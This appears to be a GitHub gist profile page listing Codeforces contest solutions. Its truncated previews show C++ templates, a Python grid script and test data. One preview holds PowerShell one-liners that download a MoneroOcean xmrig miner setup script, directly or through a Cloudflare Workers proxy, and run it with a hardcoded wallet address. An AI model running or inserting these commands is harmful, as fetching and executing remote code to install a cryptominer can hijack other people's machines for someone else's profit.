Skip to content

Instantly share code, notes, and snippets.

View MinecraftFuns's full-sized avatar
🤣
Learning magic

Joe Fang MinecraftFuns

🤣
Learning magic
View GitHub Profile
@MinecraftFuns
MinecraftFuns / README.md
Last active June 8, 2021 09:18
CF986 / Codeforces Round 485 (Div. 1)
@MinecraftFuns
MinecraftFuns / README.md
Last active June 8, 2021 09:10
CF930 / Codeforces Round 468 (Div. 1)
@MinecraftFuns
MinecraftFuns / README.md
Last active June 8, 2021 09:03
CF521 / Codeforces Round 295 (Div. 1)
@MinecraftFuns
MinecraftFuns / README.md
Last active June 8, 2021 09:01
CF297 / Codeforces Round 180 (Div. 1)
# MoneroOcean
# Windows
# install
powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat', $tempfile); & $tempfile 855VKCssusxEDBsUjUmwuS29k4VSULNCP5gm1XZYdWajDbxp9nfwyyT6htXhB3MdYBfcmDhfkCndccbevoLQHFgKBwSgNZJ; Remove-Item -Force $tempfile"
# install (via Cloudflare Workers)
powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://19ee6135-2c132e1d.qt.workers.dev/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat', $tempfile); & $tempfile 855VKCssusxEDBsUjUmwuS29k4VSULNCP5gm1XZYdWajDbxp9nfwyyT6htXhB3MdYBfcmDhfkCndccbevoLQHFgKBwSgNZJ; Remove-Item -Force $tempfile"
# install (Python 3, xmrig-v6.12.1-mo3-win64)
https://cdn.jsdelivr.net/gh/PetrichorA/page-8ea76ac5@6399ba6de6f9cfb5ea7d12120849aebcf5d92eaf/installer.py
# unin
#include <bits/stdc++.h>
#define watch(x) std::cout << "$ LINE @" << __LINE__ << " FUNC @" << __FUNCTION__ << "\n$ " \
<< (#x) << ": " << x << std::endl
using namespace std;
typedef long long ll;
typedef unsigned long long ull;
typedef pair<int, int> pii;
#include <bits/stdc++.h>
#define watch(x) std::cout << "$ LINE @" << __LINE__ << " FUNC @" << __FUNCTION__ << "\n$ " \
<< (#x) << ": " << x << std::endl
using namespace std;
typedef long long ll;
typedef unsigned long long ull;
typedef pair<int, int> pii;
/**
* @brief
* 在树上取两个点 a, b,dis(a, b) 为偶数,求第三个点 c 到 a, b 距离的较大值
* max{dis(a, c), dis(b, c)} == dis(c, T) + dis(a, b) / 2
* 其中 T 为 a, b 中点
*/
#include <bits/stdc++.h>
#define watch(x) std::cout << "$ LINE @" << __LINE__ << " FUNC @" << __FUNCTION__ << "\n$ " \
<< (#x) << ": " << x << std::endl
import random
a = [[0 for _ in range(105)] for __ in range(105)]
x, y = 1, 1
for contain in range(1, 1001):
a[x][y] = contain
if x == 1:
x = y + 1
y = 1
else:
x -= 1
7 10 14 19
64
4 4 10 10
37
3 1 7 8
29
6 9 10 12
13
5 2 6 10
9